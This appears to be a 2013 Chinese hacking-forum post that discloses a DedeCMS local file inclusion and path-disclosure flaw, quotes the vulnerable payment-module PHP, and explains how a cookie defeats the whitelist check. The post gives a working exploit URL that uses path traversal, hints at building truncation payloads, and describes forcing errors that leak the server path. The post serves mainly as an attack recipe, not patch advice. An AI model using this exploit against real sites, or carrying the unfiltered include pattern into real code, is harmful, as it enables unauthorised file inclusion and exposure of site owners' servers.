找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1930|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)2 G+ ~& H$ Z4 h! D5 g' Y+ ^

; D# W( |; v9 y: O出现漏洞的两个文件为:
% Y; A. W8 s- o+ D  Y$ X% ~5 F" lInclude/payment/alipay.php* H( ~: Z- a4 ~; v. p. @9 d
Include/payment/yeepay.php
0 k6 v) I- D2 H漏洞均出现在respond方法里,估计这两个文件是临时工写的。- E0 t: o5 R) ?9 k
( l0 I1 j$ z. G- a2 t; Z, x
Include/payment/alipay.php' r( O% N' U/ u0 B4 B; Q: e" ?- c

$ Q: A% N/ S! @/ T2 e......
8 N6 r( d4 c4 k3 O, [, t" y; Q/ \   function respond()
5 o+ i7 W* E9 |    {& B" B' ]" t2 }, d
        if (!empty($_POST))
* X$ z/ y- [! F* I        {
: x8 l6 L: Z& T6 P+ n+ v( O) k) u" a            foreach($_POST as $key => $data)& y5 s+ d; X$ X( A1 ^5 t
            {, }% E: t7 q6 f: d; S1 ?- V
                $_GET[$key] = $data;
4 y$ s, K4 K( Q# }* g! V/ u9 J            }
4 v! F. c$ `; F( |, }& P: }        }
6 a" g# k' R$ s( L* P& i0 m        /* 引入配置文件 */
3 q& |2 \, r; E        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
, @* w5 A$ D9 X% {...... ! }# N: t4 E2 B

% p+ ?  ~7 O2 b9 W% N
! P7 }6 Q& @4 H# o* ^大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
# @' d" Q" g1 Z1 i! x7 E6 E4 g
  ]+ X# u2 L, f6 d$ H( E, J" NInclude/payment/yeepay.php
3 n2 J5 i  i( J7 i3 H4 T7 v& }" a0 B& c) t) Y, @

7 b0 c2 M0 w& u! P
. }) ^0 p1 v: v) D& G......
9 A4 ~9 q# |; Y4 J    function respond()
7 n( H8 }( y  ~* Z  M: x% s# L    {& ~, N+ f: C& F) N( o

6 S8 p* d% l5 D' @6 b0 ], z! i* l) c        /* 引入配置文件 */3 z! A$ ^, `) L( y2 y+ g+ N' W
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
% t% c. |1 n8 m2 ?6 e) R 3 M9 y7 K2 `" M) c, j1 l$ J, {2 |
        $p1_MerId = trim($payment['yp_account']);
! l% |+ {, x5 q! r$ \        $merchantKey = trim($payment['yp_key']);' S" ?* F) l) |* x
......
! j, E" A) R2 @9 z5 o5 B % Y5 f' Z. Q7 K4 Z: b! ?! j

4 F  ^! H! V2 O
- c3 \9 q% W: f( x/ M% w4 S* K( B$ M6 i; k6 y( B5 i
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
$ E0 j( }% A6 @3 ~0 K
, p. E, |, ^8 @# ]这两个方法在plus/carbuyaction.php文件调用。
. \, ~: @! B- C# I' n4 g- d3 \$ [7 a4 g+ e
plus/carbuyaction.php
! o# O. m0 [4 P1 R) _6 m
2 b$ p8 V! y2 ^3 K$ U8 L......
& \5 R. i4 b( S} else if ($dopost == 'return') {- j; ]! {3 T; g( K5 b0 u/ Q
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');* s+ a3 Y1 O: X8 B+ ~
    if (in_array($code, $write_list))+ ]  P8 {" o  E+ Y  C7 g
    {
* T- [5 ~( E! `; b4 \- W        require_once DEDEINC.'/payment/'.$code.'.php';
/ d  I' N0 p" [7 u' s0 ?, ]        $pay = new $code;
0 y# O- F* \* ?; }        $msg=$pay->respond();7 ^* Y5 L' E4 `- J4 l
        ShowMsg($msg, "javascript:;", 0, 3000);7 a! u/ o# Y# Q/ X2 Y" r5 I
        exit();  & \5 a# F* @) x0 b* s9 ~# U' e
    } else {
0 ]' J8 L0 S* D; a4 c/ b+ X+ _4 K& T8 T        exit('Error:File Type Can\'t Recognized!');
7 s8 t# g# f% |    }5 ?: ]/ n. O2 m( F6 }# K/ K$ C
}) o" X$ H: E6 y, X
...... 6 q" ~1 T6 X5 ^% @& H

- F8 |% }8 f# L* Z2 ]* \8 N; Z8 |* t- N4 ~0 h

4 d6 j  s& j: N8 i: Q3 C
8 _, N! x2 r- ~; o% M
* x! u8 v- q- W9 a
, a: ~8 w: C1 M$ R- ~' L大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
3 k: |" {% \" K/ w5 n* R5 t* G所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。0 r* g; B8 }, ~  T5 Y, p$ c

6 ~' G7 @1 k' D1 E# v: I3 b回到include/common.inc.php来看看他的机制。& a1 \: G- [4 _- u' L

  F  U" t* b/ u5 G9 T 4 s' G  Q5 Q+ r- J- f* m. E

; S9 V, `2 ]; s4 K" g9 J......
* z; p9 T2 J9 c4 n5 tforeach(Array('_GET','_POST','_COOKIE') as $_request)
& x. L# Z% c+ |% ^1 F7 o) U{
/ K3 B" \; d9 k2 E- e* b& c        foreach($$_request as $_k => $_v) # i! `- g) |' \8 a1 S( E! D
        {
: j1 _) s* d  j( r& B; t6 t" p: F# S                if($_k == 'nvarname') ${$_k} = $_v;( B  p7 X* S7 ^3 r! A
                else ${$_k} = _RunMagicQuotes($_v);3 o$ j7 z4 \% o1 c! ^1 H  p
        }
4 P8 A' F9 m$ g}: `  d6 a8 E; x8 u' n; k6 c8 C
......
+ C0 B6 b$ L! w, F& ~大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:1 R% _: l4 j' O; S
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表